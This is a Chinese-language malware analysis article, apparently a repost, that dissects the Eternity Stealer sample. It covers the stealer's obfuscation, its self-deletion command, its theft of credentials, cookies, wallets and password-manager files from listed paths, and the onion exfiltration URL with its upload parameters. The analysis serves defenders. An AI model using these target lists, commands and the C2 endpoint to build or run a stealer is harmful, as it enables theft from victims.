恶意软件分析—Eternity Project — Eternity Stealer

admin 2024年4月22日07:08:36评论3 views字数 13619阅读45分23秒阅读模式

恶意软件分析—Eternity Project — Eternity Stealer

Eternity Project 是一个恶意软件工具包,作为恶意软件即服务 (MaaS) 出售,除了核心功能外,它还提供自定义恶意软件功能,威胁参与者通过匿名 Tor 市场和 Telegram 频道作为“Eternity Group”分发他们的服务。工具包中的每个恶意软件项目都是单独定价的:

  • Eternity Stealer — 每年订阅 260 美元。

  • Eternity Miner — 每年订阅 90 美元。

  • Eternity Worm  — 390 美元。

  • Eternity Ransomware — 490 美元。

  • Eternity Clipper— 110 美元。

  • Eternity DDoS Bot — (仍在开发中)。

我想提一下,这是一个详细的技术分析,所以会有点长😅,希望你对你有所帮助,如果你有任何笔记,请考虑与我联系或对文章发表评论,现在让我们开始分析永恒窃贼。

  • 155) 其它教程翻到最后

  • 恶意软件分析—Eternity Project — Eternity Stealer

Eternity Stealer 恶意软件:

我从“Malware Bazaar”获得了恶意软件的样本,这是在网站上看到的第一个样本:

恶意软件分析—Eternity Project — Eternity Stealer

一般信息:

恶意软件示例是 .NET 32 位可执行文件,经过😡严重混淆,因此我们的任务会有点困难,在使用 de4dot 后,东西被清理了一点,但仍然充满了混淆,所以我不得不做更多的工作:

恶意软件分析—Eternity Project — Eternity Stealer

使用 DE4DOT 之前

恶意软件分析—Eternity Project — Eternity Stealer

使用 de4dot 后

在整个代码中,有两个方法(DS 和 SSD)被反复调用来对字符串进行反混淆,当查看这些方法所属的类时,我们发现它有处理混淆和反混淆的方法,指向混淆和非混淆字符串的方法,以及其他方法:

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

反混淆函数

恶意软件分析—Eternity Project — Eternity Stealer

指针函数

分析混淆方法:

DS 方法:

  • 采用两个字符串参数。

  • 从第二个字符串参数中删除第一个和最后一个字符,然后从 base64 解码,结果将用作 AES 解密中的密钥。

  • 解码 base64 中的第一个字符串参数,并在 AES 解密中将其用作 IV。

  • 解密后,它返回 UTF8 字符串。

恶意软件分析—Eternity Project — Eternity Stealer

SSD方法:

  • 采用字符串和长参数。

  • 将字符串参数转换为 char 数组。

  • 使用 for 循环将两个参数都转换为 int32,然后检查两个参数 Combined 是否介于 0 和 256 之间,如果是,它将从第二个参数中子第一个参数并将其转换为 char,然后将大写 char 转换为小写,将小写转换为大写。

  • 反转 char 数组并将其作为字符串返回。

恶意软件分析—Eternity Project — Eternity Stealer

SSE方法::

此方法与“SSD”方法相反,这意味着它是一个混淆类:

恶意软件分析—Eternity Project — Eternity Stealer

主要方法:

main 方法首先使用方法 (DS,SSD) 解密和反混淆字符串,其结果是“quwqsgpmly”,此字符串将用于使用名为“PerformMutexCheck()”的方法创建(名称对象/互斥锁)。此方法将解密和反混淆字符串以获取 (“”) 双引号,然后使用“GetCommandLineArgs()”获取命令行参数并将其转换为小写,并使用双引号作为分隔符参数,命令行字符串在“string.加入()”。

然后它再次解密和反混淆字符串以获得“— debug”字符串并在“string.Contain()“来查看它是否是使用 debug string 执行的,如果失败,它将创建一个字符串值为”quwqsgpmly“的互斥锁,如果创建互斥锁失败,它将退出。

注意:防重复功能不是核心功能,它是根据买家的选择添加的。

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

然后它调用“PerformSelfDestruct()”方法,并再次执行与上一个方法相同的检查,以查看它是否是使用 (“ — debug”) 字符串执行的,如果不是,它将继续使用 (“AppDomain .CurrentDomain“) 类。

应用程序域是应用程序执行的隔离环境,它由 AppDomain 对象表示,它有助于为执行托管代码提供隔离、卸载和安全边界。

CurrentDomain 属性用于获取表示当前应用程序域或线程的 AppDomain 对象。通过获取当前域,它设置了三个事件,如果发生其中一个事件,它将调用“HandleSelfDestruct()”函数,这些事件是:

  • UnhandledException(在未捕获异常时发生)。

  • ProcessExit(在默认应用程序域的父进程退出时发生)。

  • DomainUnload(在即将卸载 AppDomain 时发生)。

恶意软件分析—Eternity Project — Eternity Stealer

“HandleSelfDestruct”) 函数检查路径中是否存在文件,如果存在,它将启动一个带有参数的新进程:

  • chcp 65001 .

  • ping 127.0.0.1 .

  • DEL /F /S /Q /A ”{0}” “C:pathtofile.exe” .

  • CreateNoWindow.

  • UseShellExecute

chcp 用于将 Windows 控制台中的字符编码切换为 UTF-8。虽然 ping 在这里用作睡眠方法,这是我唯一的假设,但它将删除文件,以下是与“del”命令一起使用的参数的描述:

恶意软件分析—Eternity Project — Eternity Stealer

cme.exe

恶意软件分析—Eternity Project — Eternity Stealer

procmon.exe

接下来,它设置“ServicePointManager”类的三个属性:

  • Expect100Continue:获取或设置一个布尔值,该值确定是否使用 100-Continue 行为。HTTP 信息状态响应代码指示一切正常,客户端应继续请求,如果请求已完成,则忽略它。这里的恶意软件通过获取 4 个字节的浮点数大小来给它“1”,然后从中获取 3 个字节,结果是 1,这意味着 true。100 Continue

  • DefaultConnectionLimit:获取或设置“ServicePoint”对象允许的最大并发连接数。此属性的值为 9999,也可以通过获取浮点数的大小并向其添加 9995。

  • SecurityProtocol:获取或设置由“ServicePointManager”对象管理的“ServicePoint”对象使用的安全协议。安全类型协议是“Tls12”,其值为 3072,如 MS 文档中所述,相同的过程再次获取浮点数的大小,然后添加 3068。

注意:通过恶意软件,您将面临使用浮点数大小来设置整数值的技术。

恶意软件分析—Eternity Project — Eternity Stealer

之后,它开始将委托添加到委托。C# 中的委托包含对多个方法的引用,您可以在需要时调用它们。因此,您可以根据需要创建多个方法并将其附加到委托,在运行时,会触发一个事件并委托动态调用函数并显示结果。这里有 4 名代表:

  • HandleAccount。

  • HandleCookie。

  • HandleAutoFill。

  • HandleCreditCard。

恶意软件分析—Eternity Project — Eternity Stealer

HandleAccount delegate

HandleAccount delegate能够获取或设置:

  • Hostname.

  • Username.

  • Password.

  • Application.

  • Profile.

恶意软件分析—Eternity Project — Eternity Stealer

HandleCookie delegate

HandleCookie 委托能够获取或设置:

    • Name.

    • Path.

    • Value.

    • HostKey.

    • ExpiresUTC.

    • Application.

    • Profile.

恶意软件分析—Eternity Project — Eternity Stealer

HandleAutoFill 委托:

HandleAutoFill 委托能够获取或设置:

    • Name.

    • Value.

恶意软件分析—Eternity Project — Eternity Stealer

HandleCreditCard 委托:

HandleCreditCard 委托能够获取或设置:

  • Number.

  • Holder.

  • CardName.

  • ExpYear.

  • ExpMonth.

  • Application.

  • Profile.

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

之后,它调用一个名为“Create”的方法,该方法接受 2 个布尔参数,此方法的结果将存储在名为“array”的数组中。在我们进入该方法之前,我们可以从它下面的 if 语句中看到数组长度应该大于 10240,如屏幕截图所示:

恶意软件分析—Eternity Project — Eternity Stealer

创建方法:

在此方法开始时,它开始收集有关计算机的以下信息:

  • Executable Path.

  • Start Date.

  • Stub Version.

  • Stub Location.

  • Username.

  • ComputerName.

  • OSName.

  • UILang.

  • Hardware.

  • CPUName.

  • GPUName.

  • RAMAmount.

  • DiskSize.

  • Model.

  • Manufacturer.

  • ScreenResolution.

  • Geolocation.

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

之后,它使用在收集数据之前创建的内存流将其作为字节写入名为“Information.txt”的文件。

然后创建一个类型为 thread 的对象列表,并将 9 个线程添加到列表中,这些线程及其代表表示每个线程启动时要调用的方法:

恶意软件分析—Eternity Project — Eternity Stealer

以下是每个线程在不遵循线程之间的工作流程的情况下正在执行的操作,并且恶意软件编写者还为其提供了线程的名称:

Thread[0] (系统)

1- 枚举保管库凭据:

  • 使用“vaultcli.dll”(相当于凭据管理器的命令行),从此 dll 调用的函数:

恶意软件分析—Eternity Project — Eternity Stealer

  • 定义它是使用 VAULT_ITEM_WIN7 还是VAULT_ITEM_WIN8结构。

  • 收集的数据是:

- Windows 安全提示。

- Windows Web 密码凭据

- “Windows 凭据选取器保护程序。

- Web 凭据。

- Windows 凭据。

- Windows 域证书凭据。

- Windows 域密码凭据。

- Windows 扩展凭据。

  • 结果将写入名为“SystemVault.txt”的文件中。

恶意软件分析—Eternity Project — Eternity Stealer

2- 枚举“Credential Manger”凭据:

Credential Manger 是一个储物柜,Windows 在其中存储登录凭据、用户名、密码和地址。收集的信息将存储在名为“SystemCredman.txt”的文件中,它是:

- Windows 凭据。

- 基于证书的凭据。

- 通用凭据。

恶意软件分析—Eternity Project — Eternity Stealer

3- 枚举网络凭据:

  • 执行命令 (“netsh wlan show profile |findstr All“) 列出系统上配置的配置文件。

  • 如果上一步成功,则执行命令 (“netsh wlan show profile name=”)。

恶意软件分析—Eternity Project — Eternity Stealer

4- 截取屏幕截图并将其命名为“Screenshot.png”。

Thread[1] (游戏)

1- 枚举 Steam 文件:

  • 通过打开注册表项“SoftwareValveSteam”获取Steam目录。

  • 如果成功,它将检索与指定名称“UvgcoRcvj”关联的值。

  • 从搜索模式为“ssfn*”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • Steam目录中每个文件数据与上一步中的规范将存储在“GamingSteam<file name>”文件中。

  • 从搜索模式为“config*vdf”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • Steam目录中每个文件在上一步中都有规范,将存储在“GamingSteameqphki <file name>”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

2- 枚举 Twitch 文件:

  • 获取当前系统中搜索模式为“Twitch*”的目录数组,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 从每个目录中获取一个具有搜索模式“Electron9Cookies”的文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 每个具有上一步规范的文件都将存储在“Gaming<目录名称>Fmfduspo:<file name>”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

3- 枚举 OBS 文件:

  • 设置OBS目录“C:Users<user>AppDataRoamingobs-studiobasicprofiles”的路径。

  • 从搜索模式为“*.*”的目录中获取文件列表,并使用值为 (1) 的搜索选项在搜索操作中包括当前目录及其所有子目录。此选项包括重新分析点,例如搜索中的挂载驱动器和符号链接。

  • 每个符合上一步规范的文件都将存储在“GamingObsStudio<目录名称><文件名>”文件中。

  • 设置OBS目录“C:Users<user>AppDataRoamingslobs-clientLocal Storageleveldb”的路径。

  • 从搜索模式为“*.|??”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 每个具有上一步规范的文件都将存储在“GamingStreamlabsOBSLocal Storageleveldb<file name>”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

线程[2] (FTP)

1-枚举FTP FileZilla文件:

  • 在此路径“C:Users<user”中搜索这些文件“sitemanager.xml”“recentserver.xml”>AppDataRoamingFilezilla”。

  • 这些文件中的数据将存储在“FTPFileZillaServers.txt”中。

恶意软件分析—Eternity Project — Eternity Stealer

2- 枚举FTP WinSCP凭据:

  • 打开注册表子项“SoftwareMartin Prikry1WinSCP 2Sessions”以获取会话。

  • 获取每个会话的“HostName”、“UserName”和“Password”的值。

  • 解密每个会话的密码。

  • 凭据将存储在“FTPWinSCPServers.txt”中。

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

3- 枚举 CoreFTP 凭据:

  • 打开注册表子项“SoftwareFTPWareCoreFTPSites”以获取站点。

  • 获取每个站点的“Host”、“Port”、“User”和“PW”的值。

  • 使用密钥“hdfzpysvpzimorhk”解密密码。

  • 凭据将存储在“FTPCoreFTPServers.txt”中。

恶意软件分析—Eternity Project — Eternity Stealer

4- 枚举 Snowflake 凭据:

  • 从 Snowflake 路径“C:Users<user>snowflake-ssh”中获取文件“session-store.json”并解析它以获取主机、端口、用户名、密码和文件夹的值,Snowflake 中的密码以明文形式存储。

  • 凭据将存储在“FTPSnowflakeServers.txt”中。

恶意软件分析—Eternity Project — Eternity Stealer

线程[3] (VPN)

1- 枚举 NordVPN 凭据:

  • 获取 NordVPN 目录“C:Users<user>AppDataLocalNordVPN”的路径。

  • 在所有目录中搜索“user.config”文件。

  • 解密 base64 中的数据。

  • 凭据将存储在“VPNNordVPNAccount.txt”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

2- 枚举EarthVPN凭据:

  • 打开注册表项“SoftwareEarthVPN”。

  • 获取“SavePass”值。

  • 凭据将存储在“VPNEarthVPNAccount.txt”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

3-枚举WindscribeVPN凭据:

  • 打开注册表项“SoftwareWindscribe”。

  • 获取子项名称(Installer、Windscribe、Windscrib2)。

  • 从“Windscribe”子项获取“userId”,“authHash”值。

  • 从“Windscribe2”子项获取“userId”,“authHash”值。

  • 凭据将存储在“VPNWindscribeVPNAccount.txt”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

4- 枚举 AzireVPN 凭据:

  • 获取 AzireVPN目录“C:Users<user>AppDataLocalAzireVPN”的路径。

  • 搜索文件“token.txt”并从文件中读取数据。

  • 凭据将存储在“VPNAzireVPNAccount.txt”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

Thread[4](浏览器)

1- 枚举浏览器信息:

  • 浏览器:

    ( Chrome - FireFox - Cyberfox - K-Meleon - Pale Moon - BlackHawk - Waterfox- IceCat - SeaMonkey - SlimBrowser - Thunderbird - PostboxApp(Email app)- 360Chrome - Avast Secure Browser - 7Star - Amigo - Brave-Browser- Citrio - CentBrowser - Chedot - Blisk - GhostBrowser - Chromodo- CoCoc - Comodo - Coowon - Elements Browser - Epic Privacy Browser- Chormium - Chrome SxS - Chrome Beta - Kinza - Iridium - Kometa- Atom - ChromePlus - Maxthon3 - Edge - Nichrome - Opera GX- Opera Stable - Orbitum - QIP Surf - UCBrowser - Xpom - Xvast- SuperBird - QQBrowser - Sputnik - Torch - Uran - Vivaldi - Yandex Browser -liebao - SalamWeb)

    ( Profiles - Passwords - Cookies - Credit Cards - Tokens - AutoFill - Bookmarks- Extension Files).

    恶意软件分析—Eternity Project — Eternity Stealer

线程[5] (信使)

1- 枚举电报凭据:

  • 获取电报进程名称。

  • 获取 Telegram 目录“C:Users<user>AppDataRoamingTelegram Desktoptdata”,如果没有找到它,它将打开注册表项“SoftwareClassestdesktop.tgDefaultIcons1”并获取目录路径。

  • 从搜索模式为“*s”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 获取所有目录的列表。

  • 从搜索模式为“map?”的每个目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 找到的每个文件都将写入“MessengersTelegram<file name>”文件。

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

2- 枚举 Discord 凭据:

  • 获取两组正则表达式:

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

  • 使用 (Discord — Discord PTB — Discord Canary ) 创建数组列表

  • 获取文件“C:Users<user>AppDataRoamingDiscordLocal State”,其中包含加密密钥,并将其从 base64 转换。

  • 获取目录“C:Users<user>AppDataRoamingDiscordLocal Storageleveldb”。

  • 从搜索模式为“*.l??”的目录中获取文件列表。

  • 获取目录“C:Users<user>AppDataRoamingDiscord PTBLocal Storageleveldb”并执行上述相同步骤。

  • 获取目录“C:Users<user>AppDataRoamingDiscord CanaryLocal Storageleveldb”并执行上述相同的步骤。

  • 凭据将存储在“MessengersDiscordTokens.txt”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

3- 枚举 Pidgin 凭据:

  • 获取目录“C:Users<user>AppDataRoaming.purple”的路径。

  • 获取文件“accounts.xml”。

  • 凭据将存储在“MessengersPidginAccounts.txt”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

4- 枚举 Outlook 凭据:

  • 打开子项:

SoftwareMicrosoftOffice15.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676”.

- “SoftwareMicrosoftWindows NTCurrentVersionWindows Messaging Subsystem ProfilesOutlook9375CFF0413111d3B88A00104B2A6676”.

- “SoftwareMicrosoftWindows Messaging SubsystemProfiles9375CFF0413111d3B88A00104B2A6676”.

- “SoftwareMicrosoftOffice16.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676”.

  • 获取(“IMAP 密码”、“POP3 密码”、“HTTP 密码”、“SMTP 密码”)并解密密码。

  • 凭据将存储在“MessengersOutlookAccounts.txt”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

5- 枚举 FoxMail 凭据:

  • 打开子项“SOFTWAREClassesFoxmail.url.mailtoShellopencommand”以获取 FoxMail 目录路径。

  • 获取文件“C:FoxMail7.2Storage”以枚举凭据。

  • 解密凭据。

  • 凭据将存储在“MessengersFoxMailAccounts.txt”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

6- 枚举 MailBird 凭据:

  • 获取目录“C:Users<user>AppDataLocalMailbirdStore”的路径。

  • 从目录中获取文件“Store.db”,该文件采用 SQLite 格式。

  • 从文件中获取名为“OAuth2Credentials”的表以进行枚举。

  • 凭据将存储在“MessengersMailBirdAccounts.txt”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

7- 枚举 Viber 凭据:

  • 获取目录“C:Users<user>AppDataRoamingViberPC”的路径。

  • 枚举搜索模式为“*.db”的文件的目录和子方向。

  • 这些文件将存储为“MessengersViber<目录名称><文件名>”。

恶意软件分析—Eternity Project — Eternity Stealer

8-枚举WhatsApp凭据:

  • 获取目录“C:Users<user>AppDataRoamingWhatsAppLocal Storageleveldb”的路径。

  • 枚举搜索模式为“*.|??”的文件的目录和子方向。

  • 这些文件将存储为“MessengersWhatsAppLocal Storageleveldb<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

9- 枚举信号凭证:

  • 获取目录“C:Users<user>AppDataRoamingSignal”的路径。

  • 获取文件“config.json

  • 获取子目录“sql”。

  • 配置文件将存储为“MessengersSignalconfig.json”。

  • 数据库文件将存储为“MessengersSignalsqldb.sqlite”。

恶意软件分析—Eternity Project — Eternity Stealer

10- 枚举 RamBox 凭据:

  • 获取目录“C:Users<user>AppDataRoamingrambox”的路径。

  • 获取文件“config.json”。

  • 获取子目录“Partitions”。

  • 配置文件将存储为“MessengersRamboxconfig.json”。

  • 对于每个分区目录,它都会得到“Cookies”文件

  • Cookie 文件将存储为“MessengersRambox<目录名称>Cookies”。

  • 获取目录“C:Users<user>AppDataRoamingramboxPartitionsLocal Storageleveldb”的路径。

  • 枚举搜索模式为“*.|??”的目录。

  • 每个文件将存储为“MessengersRamboxPartitions<目录名称>Local Storageleveldb<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

Thread[6] (钱包)

1- 枚举币安凭证:

  • 获取目录“C:Users<user>AppDataRoamingBinance”的路径。

  • 从搜索模式为“*-stor*.json”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 搜索模式将获得“app-store.json”和“simple-storage.json”。

  • 凭证将存储为“WalletsBinance<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

2- 枚举门罗币凭据:

  • 打开注册表子项“SOFTWARE monero-projectmonero-core”。

  • 从子项中获取钱包目录路径。

  • 获取搜索模式为“*.*”的所有文件。

  • 文件将存储为“WalletsMoneroCore<目录名称><文件名>”。

恶意软件分析—Eternity Project — Eternity Stealer

3- 枚举比特币凭证:

  • 打开注册表子项“SOFTWARE BitcoinBitcoin-Qt”。

  • 获取钱包目录路径。

  • 获取搜索模式为“*wallet*dat”的文件。

  • 文件将存储为“WalletsBitcoinCore<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

4- 枚举 Dash 凭据:

  • 打开注册表子项“SOFTWAREDashDash-Qt”。

  • 获取钱包目录路径。

  • 获取搜索模式为“*wallet*dat”的文件。

  • 文件将存储为“WalletsDashcoinCore<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

5- 枚举 Doge 凭据:

  • 打开注册表子项“SOFTWAREDogecoinDogecoin-Qt”。

  • 获取钱包目录路径。

  • 获取搜索模式为“*wallet*dat”的文件。

  • 文件将存储为“WalletsDogecoinCore<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

6- 枚举莱特币凭证:

  • 打开注册表子项“SOFTWARELitecoinLitecoin-Qt”。

  • 获取钱包目录路径。

  • 获取搜索模式为“*wallet*dat”的文件。

  • 文件将存储为“WalletsLitecoinCore<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

7- 枚举 Electrum 凭据:

  • 搜索搜索模式为“*Electr*”的目录

  • 在每个目录中搜索文件“@lkcfd

  • 如果找到该文件,它将获取“recently_open”元素的值。

  • 每个文件将存储为“Wallets<目录名称><文件名>”。

恶意软件分析—Eternity Project — Eternity Stealer

8- 列举出埃及记凭据:

  • 获取目录“C:Users<user>AppDataRoamingExodusexodus.wallet”的路径。

  • 搜索文件“exodus.conf.json”。

  • 文件将存储为“WalletsExodusexodus.walletexodus.conf.json”。

  • 从搜索模式为“*.seco”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 每个文件将存储为“WalletsExodusexodus.wallet<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

9- 枚举原子凭据:

  • 获取目录“C:Users<user>AppDataRoamingatomicLocal Storageleveldb”的路径。

  • 从目录中获取搜索模式为“*.|??”的文件列表。

  • 每个文件将存储为“WalletsAtomicLocal Storageleveldb<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

10- 枚举 TONWallet 凭据:

  • 检查“SOFTWARETONWallet”注册表是否存在。

  • 搜索“data”目录。

  • 在其中查找“tonlib_log.txt”文件。

  • 检查 TON Wallet 目录中是否存在 “db” 目录。

  • db”目录中的文件将存储为“WalletTonWallet<file name>”。

  • 检查 TON Wallet 目录中是否存在 “lib” 目录。

  • lib”目录中的文件将存储为“WalletTonWallet<file name>”。

  • 获取文件名“salt”。

  • 该文件将存储为“WalletTonWalletsalt”。

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

11- 枚举 Jaxx 凭据:

  • 获取目录“C:Users<user>AppDataRoamingcom.liberty.jaxxIndexedDBfile_0.indexeddb.leveldb”的路径。

  • 获取目录中的所有文件并将其存储为“WalletsJaxxClassic<file name>

恶意软件分析—Eternity Project — Eternity Stealer

12- 枚举 Coinomi 凭据:

  • 获取目录“C:Users<user>AppDataLocalCoinomiCoinomiwallets”的路径。

  • 从搜索模式为“*.wallet”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 目录中的每个文件都将存储为“WalletsCoinomi<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

13- 枚举代达罗斯凭据:

  • 获取目录“C:Users<user>AppDataRoamingDaedalus Mainnetwallet”的路径。

  • 从搜索模式为“*.sqlite”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 每个具有上一步规范的文件都将存储在“WalletsDaedalus<file name>”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

14- 枚举 Zcash 凭证:

  • 获取目录“C:Users<user>AppDataRoamingZcash”的路径。

  • 从搜索模式为“*wallet*dat”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 每个符合上一步规范的文件都将存储在“WalletsZcash<file name>”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

15- 枚举 Guarda 凭据:

  • 获取目录“C:Users<user>AppDataRoamingGuardaLocal Storageleveldb”的路径。

  • 从搜索模式为“*.|??”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 每个符合上一步规范的文件都将存储在“WalletsGuardaLocal Storageleveldb<file name>”文件中。

恶意软件分析—Eternity Project — Eternity Stealer

16- 枚举芥末凭据:

  • 获取目录“C:Users<user>AppDataRoamingWalletWasabiClientWallets”的路径。

  • 从搜索模式为“*.json”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 每个具有上一步规范的文件都将存储为“WalletsWasabi<file name>”文件。

恶意软件分析—Eternity Project — Eternity Stealer

线程 [7] (PasswordManagers)。

1- 枚举 BitWarden 凭据:

  • 获取目录“C:Users<user>AppDataRoamingBitwarden”的路径。

  • 从搜索模式为“data*.json”的目录中获取文件列表,并使用值为 (0) 的搜索选项在搜索操作中仅包含当前目录。

  • 每个具有上一步规范的文件都将存储为“PasswordManagersBitWarden<file name>”文件。

恶意软件分析—Eternity Project — Eternity Stealer

2- 枚举KeePass凭证:

  • 获取文件“C:Users<user”的路径>AppDataRoamingKeePassKeePass.config.xml“,该文件适用于”2.51.1“之前的版本。

  • 加载 xml 文件并获取元素“ConnectionInfo”,该元素保存数据库文件“Database.kdbx”的路径。

  • 将文件存储为“PasswordManagersKeePass2databases”。

  • get 元素 “KeyFilePath”,它保存密钥文件的路径。

  • 将文件存储为“PasswordManagersKeePass2keys”。

  • 获取文件“C:Users<user>AppDataLocalKeePassXCkeepassxc.ini”的路径。

  • 初始化正则表达式字符串“LastDatabases=(.*?)n“来解析一些信息。

  • 将数据存储为“PasswordManagersKeePassXC<filename>”。

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

3- 枚举NordPass凭证:

  • 获取目录“C:Users<user>AppDataRoamingNordPass”的路径。

  • 从搜索模式为“*.conf”的目录中获取文件列表。

  • 每个具有上一步规范的文件都将存储为“PasswordManagersNordPass<file name>”文件。

恶意软件分析—Eternity Project — Eternity Stealer

4- 枚举 1Password 凭据:

  • 获取目录“C:Users<user>AppDataLocal1Passworddata”的路径。

  • 从搜索模式为“*.sqlite”的目录中获取文件列表。

  • 每个具有上一步规范的文件都将存储为“PasswordManagers1Passworddata<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

5- 枚举 RoboForm 凭据:

  • 获取目录“C:Users<user>AppDataLocalRoboFormProfiles”的路径。

  • 从搜索模式为“*.rfo”的目录中获取文件列表。

  • 每个具有上一步规范的文件都将存储为“PasswordManagersRoboForm<file name>”。

恶意软件分析—Eternity Project — Eternity Stealer

线程[8](抓取器)

Grabber 线程将创建一个 20 搜索模式:

- 扫描 - 电子 - 元掩码 - 钱包 - 短语 - 恢复 - 分泌 - 安全

- 代码 - 种子 - NFT - 备份 - 硬币 - 密钥 - 通行证 - 证书 - .txt - .kdbx

- .rdp - .pdf .

如果任何搜索模式与以下位置中的文件匹配:

  • 桌面。

  • 文件。

  • AppDataRoamingDropBox。

  • AppDataRoamingOneDrive。

它将被存储为:

Grabber<驱动器名称>Users<user><path><file name>

恶意软件分析—Eternity Project — Eternity Stealer

返回主要方法:

Create”方法的结果将存储在一个名为“array”的数组变量中,保存此变量并将其扔到十六进制编辑器中,我确实发现它是zip文件。解压缩文件后,我们得到了收集到的所有信息。

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

恶意软件分析—Eternity Project — Eternity Stealer

之后,它创建名为“stringBuilder”的对象,洋葱域值为:“http://lightnogu5owjjllyo4tj2sfos6fchnmcidlgo6c7e6fz2hgryhfhoyd.onion/stealer/ 1866445032”,然后它开始将从受害者机器收集的信息附加到洋葱域,最终结果将是:

http://lightnogu5owjjllyo4tj2sfos6fchnmcidlgo6c7e6fz2hgryhfhoyd.onion/stealer/ 1866445032?pwds=2&cards=0&wlts=5&files=658&username=<base64 username>&comp=<base64 machine name>&ip=<base64 ip>&country=<base64 country>&city=<base64 city >&tag=Default&domains=<base64 domains>&ad=<base64 Active Directory>

之后,它初始化 Web 客户端以开始上传收集的数据

恶意软件分析—Eternity Project — Eternity Stealer

这是对 Eternity Stealer 恶意软件样本的分析,希望您发现它内容丰富且有益,接下来将是 Eternity 项目的另一个样本,感谢您的阅读。

其它教程

二进制漏洞 
  • 恶意软件分析—Eternity Project — Eternity Stealer

  • windows

  • 恶意软件分析—Eternity Project — Eternity Stealer

  • windows()

  • 恶意软件分析—Eternity Project — Eternity Stealer

  • USB()

  • 恶意软件分析—Eternity Project — Eternity Stealer

  • ()

  • 恶意软件分析—Eternity Project — Eternity Stealer

  • ios

  • 恶意软件分析—Eternity Project — Eternity Stealer

  • windbg

  • 恶意软件分析—Eternity Project — Eternity Stealer

  • ()

  • 恶意软件分析—Eternity Project — Eternity Stealer恶意软件分析—Eternity Project — Eternity Stealer恶意软件分析—Eternity Project — Eternity Stealer

  • 恶意软件分析—Eternity Project — Eternity Stealer

  • 恶意软件分析—Eternity Project — Eternity Stealer

  • 恶意软件分析—Eternity Project — Eternity Stealer

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日07:08:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   恶意软件分析—Eternity Project — Eternity Stealerhttp://cn-sec.com/archives/2576610.html

发表评论

匿名网友 填写信息